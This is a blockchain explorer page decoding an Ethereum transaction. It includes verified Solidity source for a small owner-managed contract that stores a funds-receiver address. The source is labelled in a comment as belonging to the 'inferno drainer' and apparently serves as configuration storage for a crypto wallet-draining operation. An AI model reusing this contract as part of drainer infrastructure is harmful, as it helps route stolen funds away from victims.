ETH Price: $2,514.73 (-1.32%)

Transaction Decoder

Block:
22846141 at Jul-04-2025 01:26:11 PM +UTC
Transaction Fee:
0.00063841079841012 ETH $1.61
Gas Used:
153,093 Gas / 4.17008484 Gwei

Emitted Events:

71 0x0000303359f425abe18d70d454a10c1f29180000.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000303359f425abe18d70d454a10c1f29180000, 00000000000000000000000000000000000000000000021e19e0c9bab2400000 )

Account State Difference:

  Address   Before After State Difference Code
0x00003033...F29180000 0.037919373835187089 Eth0.06995131754187133 Eth0.032031943706684241
(quasarbuilder)
12.073613469764080457 Eth12.073919655764080457 Eth0.000306186
0x709d47A4...Fb3323e14
0.350040163348009067 Eth
Nonce: 15
0.317369808842914706 Eth
Nonce: 17
0.032670354505094361From: 0 To: 22892026855592066050609947431602401211538835161166308139

Execution Trace

0x709d47a4985d8db67917e93bc51e91dfb3323e14.e9ae5c53( )
  • ETH 0.032031943706684241 0x0000303359f425abe18d70d454a10c1f29180000.6782cc50( )
    • StorageContract.CALL( )
    • 0x0000303359f425abe18d70d454a10c1f29180000.df60a6ed( )
      • 0x0000303359f425abe18d70d454a10c1f29180000.STATICCALL( )
      • 0x0000303359f425abe18d70d454a10c1f29180000.88417d5c( )
        • 0x0000303359f425abe18d70d454a10c1f29180000.STATICCALL( )
          // @mr_inferno_drainer / inferno drainer
          
          pragma solidity ^0.8.6;
          
          contract StorageContract {
              address public nativeCryptoReceiver;
              address[] public owners;
          
              constructor(address defaultNativeCryptoReceiver, address firstOwner) {
                  nativeCryptoReceiver = defaultNativeCryptoReceiver;
                  owners.push(firstOwner);
              }
          
              modifier onlyOwner() {
                  bool isOwner = false;
                  for (uint256 i = 0; i < owners.length; i++) {
                      if (msg.sender == owners[i]) {
                          isOwner = true;
                          break;
                      }
                  }
                  require(isOwner, "Caller is not an owner");
                  _;
              }
          
              function addOwner(address newOwner) public onlyOwner {
                  owners.push(newOwner);
              }
          
              function getOwners() public view returns (address[] memory) {
                  return owners;
              }
          
              function removeOwner(address ownerToRemove) public onlyOwner {
                  uint256 index = type(uint256).max;
          
                  for (uint256 i = 0; i < owners.length; i++) {
                      if (owners[i] == ownerToRemove) {
                          index = i;
                          break;
                      }
                  }
          
                  require(index != type(uint256).max, "Owner not found");
                  require(owners.length > 1, "Cannot remove the last owner");
          
                  owners[index] = owners[owners.length - 1];
                  owners.pop();
              }
          
              function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
                  public
                  onlyOwner
              {
                  nativeCryptoReceiver = newNativeCryptoReceiver;
              }
          }